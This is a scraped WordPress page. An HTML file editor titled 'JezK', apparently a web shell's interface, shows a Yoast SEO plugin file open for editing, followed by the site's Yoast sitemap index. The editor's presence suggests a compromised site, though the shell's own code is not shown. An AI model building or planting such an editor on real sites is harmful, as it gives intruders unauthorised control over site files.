
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: blocks-helper.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Yoast\WP\SEO\Helpers;

use WP_Block_Parser_Block;

/**
 * A helper object for blocks.
 */
class Blocks_Helper {

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	private $post;

	/**
	 * Constructs a Blocks_Helper instance.
	 *
	 * @codeCoverageIgnore It handles dependencies.
	 *
	 * @param Post_Helper $post The post helper.
	 */
	public function __construct( Post_Helper $post ) {
		$this-&gt;post = $post;
	}

	/**
	 * Returns all blocks in a given post.
	 *
	 * @param int $post_id The post id.
	 *
	 * @return array The blocks in a block-type =&gt; WP_Block_Parser_Block[] format.
	 */
	public function get_all_blocks_from_post( $post_id ) {
		if ( ! $this-&gt;has_blocks_support() ) {
			return [];
		}

		$post = $this-&gt;post-&gt;get_post( $post_id );
		return $this-&gt;get_all_blocks_from_content( $post-&gt;post_content );
	}

	/**
	 * Returns all blocks in a given content.
	 *
	 * @param string $content The content.
	 *
	 * @return array The blocks in a block-type =&gt; WP_Block_Parser_Block[] format.
	 */
	public function get_all_blocks_from_content( $content ) {
		if ( ! $this-&gt;has_blocks_support() ) {
			return [];
		}

		$collection = [];
		$blocks     = \parse_blocks( $content );
		return $this-&gt;collect_blocks( $blocks, $collection );
	}

	/**
	 * Checks if the installation has blocks support.
	 *
	 * @codeCoverageIgnore It only checks if a WordPress function exists.
	 *
	 * @return bool True when function parse_blocks exists.
	 */
	protected function has_blocks_support() {
		return \function_exists( &#039;parse_blocks&#039; );
	}

	/**
	 * Collects an array of blocks into an organised collection.
	 *
	 * @param WP_Block_Parser_Block[] $blocks     The blocks.
	 * @param array                   $collection The collection.
	 *
	 * @return array The blocks in a block-type =&gt; WP_Block_Parser_Block[] format.
	 */
	private function collect_blocks( $blocks, $collection ) {
		foreach ( $blocks as $block ) {
			if ( empty( $block[&#039;blockName&#039;] ) ) {
				continue;
			}

			if ( ! isset( $collection[ $block[&#039;blockName&#039;] ] ) || ! \is_array( $collection[ $block[&#039;blockName&#039;] ] ) ) {
				$collection[ $block[&#039;blockName&#039;] ] = [];
			}
			$collection[ $block[&#039;blockName&#039;] ][] = $block;

			if ( isset( $block[&#039;innerBlocks&#039;] ) ) {
				$collection = $this-&gt;collect_blocks( $block[&#039;innerBlocks&#039;], $collection );
			}
		}

		return $collection;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//triprinjani.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://triprinjani.com/post-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/page-sitemap.xml</loc>
		<lastmod>2026-09-25T16:40:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/activity-sitemap.xml</loc>
		<lastmod>2026-09-14T14:27:43+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/category-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-06-01T04:49:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/author-sitemap.xml</loc>
		<lastmod>2026-05-11T10:02:51+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->